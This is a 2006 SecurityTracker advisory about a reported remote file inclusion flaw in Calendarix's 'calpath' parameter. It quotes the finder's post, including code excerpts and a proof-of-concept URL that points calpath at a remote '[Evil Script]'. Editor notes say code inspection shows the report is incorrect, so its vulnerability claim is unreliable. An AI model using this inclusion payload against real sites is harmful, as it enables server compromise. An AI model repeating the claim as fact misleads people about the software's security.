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Category:   Application (Calendar)  >   Calendarix Vendors:   calendarix.com
[Incorrect Report] Calendarix 'calpath' Parameter Include File Bug Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016694
SecurityTracker URL:  http://securitytracker.com/id/1016694
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Updated:  Aug 15 2006
Original Entry Date:  Aug 14 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 0.7.20060401
Description:   A vulnerability was reported in Calendarix. A remote user can include and execute arbitrary code on the target system. [Editor's note: This report appears to be incorrect.]

The software does not properly validate user-supplied input in the 'calpath' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:

http://[target]/[Calendarix]/cal_config.inc.php?calpath=[Evil Script]

Sh3ll reported this vulnerability.

[Editor's note: On code inspection, the $calpath parameter is defined in the 'cal_config.inc.php' script to be a local directory. As a result, the parameter cannot be specified by the remote user.]

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.

[Editor's note: Based on code inspection, this report appears to be incorrect and will be deleted from our database shortly.]

Vendor URL:  www.calendarix.com/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Calendarix <= 0.7 (calpath) Remote File Inclusion Vulnerability

---------------------------------------------------------------------------------------

Calendarix 0.7 calpath Remote File Inclusion

---------------------------------------------------------------------------------------

Author   : Sh3ll

Date     : 2006/08/11

HomePage : http://www.sh3ll.ir

Contact  : sh3ll[at]sh3ll[dot]ir

---------------------------------------------------------------------------------------

Affected Software Description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Calendarix

version     : 0.7.20060401

Venedor     : http://www.calendarix.com

Class       : Remote File Inclusion

Risk        : High

Summary     : 

Calendarix Is a Powerful and Easy to Use Calendar Based on PHP and MySQL.

---------------------------------------------------------------------------------------

Vulnerability:

~~~~~~~~~~~~~

in cal_config.inc.php We Found Vulnerability Script

--------------------------------------cal_config.inc.php-------------------------------

....

<?php

// Check file exist for admin call to this script

require $calpath."cal_db.inc.php";

...

$language = 'e';

# don't change next 3 lines !

require $calpath."cal_languages/".$language.".inc.php"; 

require $calpath."cal_languages/".$language.".months.php"; 

require $calpath."cal_languages/".$language.".week.php";

...

include $calpath."themes/".$theme.".color.php" ;

?>

...

---------------------------------------------------------------------------------------

PoC:

~~~

http://www.target.com/[Calendarix]/cal_config.inc.php?calpath=[Evil Script]


Solution:

~~~~~~~~

Sanitize Variabel $calpath in cal_config.inc.php

----------------------------------------------------------------------------------------

Note:

~~~~

Venedor Contacted, But No Response. So Do a Dirty Patch.

----------------------------------------------------------------------------------------

Shoutz:

~~~~~~

~ Special Greetz To My Best Friend N4sh3n4s & My GF Atena

~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams 

 
 


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